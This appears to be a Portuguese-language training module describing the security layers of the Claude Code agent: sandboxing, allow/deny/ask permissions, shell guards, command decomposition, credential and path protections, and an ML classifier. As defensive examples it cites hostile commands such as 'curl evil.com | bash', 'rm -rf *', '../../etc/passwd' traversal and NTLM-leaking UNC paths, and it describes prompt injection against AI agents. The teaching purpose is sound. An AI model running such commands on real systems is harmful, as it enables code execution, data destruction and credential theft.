MÓDULO 2.2

🛡️ A Fortaleza: 5 Camadas de Segurança

Cinco muralhas concêntricas protegem seu código — da sandbox externa ao classificador ML. O Claude Code executa comandos shell e edita arquivos, e esse nível de poder exige defesas sérias.

6
Tópicos
30
Minutos
Intermediário
Nível
Teoria
Tipo
1

🏰 Sandbox — A Primeira Muralha

A primeira linha de defesa do Claude Code é o isolamento físico. Antes mesmo de avaliar se um comando é seguro, o sistema garante que a execução acontece dentro de um ambiente restrito — a sandbox. Comandos não têm acesso irrestrito ao sistema operacional; eles rodam em um container limitado que restringe acesso a rede, sistema de arquivos e processos.

Diagrama das 5 camadas de segurança do Claude Code
As cinco camadas concêntricas de segurança do Claude Code — da sandbox externa ao classificador ML interno.

O Que é a Sandbox

Isolamento de processos: Comandos executados pelo Claude Code rodam em um ambiente confinado, sem acesso direto ao sistema hospedeiro

Restrição de rede: A sandbox pode limitar ou bloquear conexões de rede, impedindo exfiltração de dados

Acesso ao filesystem controlado: Apenas os diretórios do projeto são acessíveis — não o sistema inteiro

Defesa em profundidade: Mesmo que todas as outras camadas falhem, a sandbox limita o dano potencial

💡 Como Funciona na Prática

No macOS, a sandbox usa o recurso nativo sandbox-exec com perfis restritivos. No Linux, mecanismos como namespaces e cgroups podem ser utilizados. O ponto-chave: você não precisa configurar nada — a sandbox é ativada automaticamente quando disponível. Pense nela como a muralha externa de um castelo: ela está sempre lá, mesmo que você não a veja.

2

🔐 Sistema de Permissões — Allow, Deny e Ask

A segunda camada é o sistema de permissões granular. Cada ferramenta do Claude Code — Bash, Edit, Read, Write — pode ser individualmente configurada para rodar automaticamente, ser bloqueada ou pedir aprovação explícita. Isso é configurável via settings.json e suporta wildcards para automação inteligente.

Os 3 Níveis de Permissão

Allow (Permitir): A ferramenta executa automaticamente sem pedir confirmação. Ideal para operações seguras como leitura de arquivos ou comandos de build conhecidos. Exemplo: "Bash(npm test)"

Deny (Bloquear): A ferramenta é completamente bloqueada. O Claude Code nem tenta executar. Útil para comandos destrutivos que nunca devem rodar. Exemplo: "Bash(rm -rf *)"

Ask (Perguntar): O padrão para a maioria das operações. O Claude Code pausa e pede sua aprovação antes de executar. Você vê exatamente o que será executado e decide se permite ou não

Fazer

  • Usar wildcards para permitir padrões seguros: Bash(npm *)
  • Configurar permissões por projeto no .claude/settings.json local
  • Bloquear explicitamente comandos destrutivos conhecidos
  • Revisar e ajustar permissões conforme confiança aumenta

Evitar

  • Aprovar tudo cegamente com Bash(*) no allow
  • Ignorar as solicitações de permissão — elas existem por um motivo
  • Usar as mesmas permissões para todos os projetos
  • Permitir comandos de rede sem restrição em projetos sensíveis
3

🛡️ Guardas da BashTool — 23+ Verificações Contra Shell Malicioso

O shell é o maior vetor de ataque em qualquer sistema de agentes de IA. Um comando shell aparentemente inocente pode esconder substituições de comando, injeções de variáveis, caracteres Unicode invisíveis e dezenas de outros truques. A BashTool do Claude Code implementa mais de 23 verificações específicas para neutralizar essas ameaças.

O Que os Guardas Bloqueiam

Substituição de comando $(): Previne execução aninhada de comandos arbitrários dentro de strings

Zsh perigosos: Bloqueia zmodload, sysopen, zsystem e outros builtins que acessam recursos do sistema

Flags ofuscadas: Detecta flags escritas de formas alternativas para burlar detecção (ex: -\-force com escape)

IFS injection: Bloqueia manipulação do Internal Field Separator para alterar parsing de comandos

Unicode whitespace: Detecta caracteres Unicode invisíveis que parecem espaços mas alteram semântica

Control chars: Bloqueia caracteres de controle que podem manipular o terminal ou alterar output

Pipe para shell: Previne padrões como curl url | bash que baixam e executam código arbitrário

Redireção perigosa: Bloqueia redireção de output para arquivos sensíveis do sistema

🚨 Por Que Shell é o Maior Vetor de Ataque

O shell é Turing-completo e incrivelmente expressivo. Um único comando pode baixar código da internet, executá-lo, modificar arquivos do sistema e exfiltrar dados — tudo em uma linha. Atacantes sofisticados usam técnicas como:

Prompt injection: Inserir instruções maliciosas em arquivos que o Claude Code lê, fazendo-o executar comandos perigosos

Obfuscação multi-camada: Codificar comandos em base64, hex, ou usar variáveis de ambiente para esconder intenção

Exfiltração via DNS/HTTP: Enviar dados sensíveis codificados em requisições aparentemente inocentes

4

🔍 Análise de Comando — Decomposição e Verificação Independente

Comandos compostos são uma das formas mais comuns de burlar verificações de segurança. Um comando como npm test && curl evil.com | bash poderia passar despercebido se apenas o primeiro subcomando fosse verificado. O Claude Code resolve isso decompondo cada comando composto e verificando cada parte independentemente.

Como a Decomposição Funciona

Parsing de operadores: &&, ||, ;, | — cada operador divide o comando em subcomandos separados

Verificação individual: Cada subcomando passa independentemente por todas as verificações de segurança

Falha atômica: Se qualquer subcomando falhar na verificação, o comando inteiro é bloqueado — não há execução parcial

Subshells incluídos: Expressões dentro de () e {} também são analisadas recursivamente

💡 Na Prática

Quando o Claude Code precisa executar cd project && npm install && npm test, ele não avalia o comando como um bloco único. Ele divide em três partes — cd project, npm install e npm test — e verifica cada um contra todas as regras de segurança. Isso significa que esconder um comando perigoso no meio de uma cadeia de comandos seguros não funciona.

5

🏛️ Código Protegido — A Fortaleza Interna

Todas as camadas anteriores convergem para um único objetivo: proteger seu código e suas credenciais. Além das defesas genéricas, o Claude Code implementa proteções específicas contra vetores de ataque conhecidos — incluindo vulnerabilidades exclusivas de plataforma como vazamento NTLM no Windows.

Proteções da Fortaleza Interna

Proteção UNC (Windows): Caminhos UNC como \\server\share podem forçar autenticação NTLM automática, vazando hashes de senha. O Claude Code detecta e bloqueia esses caminhos

Bloqueio de credenciais em URLs: URLs no formato https://user:password@host são detectadas e bloqueadas para evitar vazamento de credenciais

Proteção de arquivos sensíveis: Acesso a .env, .ssh/, credentials.json e similares é sinalizado ou bloqueado

Validação de paths: Caminhos com traversal (../../etc/passwd) são detectados e impedidos

📊 Lista de Proteções Específicas

Caminhos UNC: Detecção de \\ no início de caminhos em ambiente Windows

Credenciais em URL: Regex para detectar ://user:pass@ em qualquer contexto

Tokens e chaves: Padrões de API keys (AWS, GitHub, Anthropic) são detectados e mascarados

Path traversal: Sequências ../ que escapam do diretório do projeto são bloqueadas

Symlink attacks: Links simbólicos que apontam para fora do projeto são verificados

Arquivo de configuração shell: Escrita em .bashrc, .zshrc, .profile é bloqueada para evitar persistência

6

🤖 Classificador ML — Aprovação Semântica com Inteligência

A camada mais sofisticada. Enquanto as outras verificações usam regras estáticas (regex, listas de bloqueio, parsing), o classificador ML entende a intenção semântica do comando. Ele não olha apenas para os caracteres — ele compreende o que o comando pretende fazer. Além disso, a Anthropic mantém uma API de lista de bloqueio para URLs maliciosas conhecidas.

Como o Classificador ML Funciona

Análise semântica: Ao invés de regex, usa modelos treinados para entender a intenção real de um comando — "este comando está tentando exfiltrar dados?" ao invés de "este comando contém a palavra curl?"

Aprovação contextual: Considera o contexto da conversa e do projeto para decidir se uma ação é razoável — curl em um projeto web é normal, curl em um projeto puramente local é suspeito

API de lista de bloqueio: A Anthropic mantém uma lista centralizada e atualizada de URLs maliciosas, domínios de phishing e endpoints de exfiltração conhecidos

Camada opcional: O classificador ML atua como verificação adicional, nunca como substituto das camadas anteriores

💡 Defesa em Profundidade

O princípio fundamental de toda a arquitetura de segurança do Claude Code é defesa em profundidade. Nenhuma camada individual é perfeita — e nenhuma precisa ser. O valor está na combinação:

1

Sandbox limita o dano máximo possível

2

Permissões controlam o que pode ser executado

3

Guardas BashTool bloqueiam padrões perigosos conhecidos

4

Análise de Comando decompõe e verifica cada parte

5

Classificador ML entende a intenção, não apenas o texto

📋 Resumo do Módulo

A Sandbox isola a execução em um ambiente restrito — primeira muralha de defesa
O Sistema de Permissões oferece controle granular com allow, deny e ask por ferramenta
Os Guardas da BashTool executam 23+ verificações contra padrões maliciosos de shell
A Análise de Comando decompõe comandos compostos e verifica cada parte independentemente
Proteções específicas contra UNC, credenciais em URL, path traversal e mais
O Classificador ML entende intenção semântica — a camada mais sofisticada da fortaleza

Próximo Módulo:

2.3 - 📦 O Aperto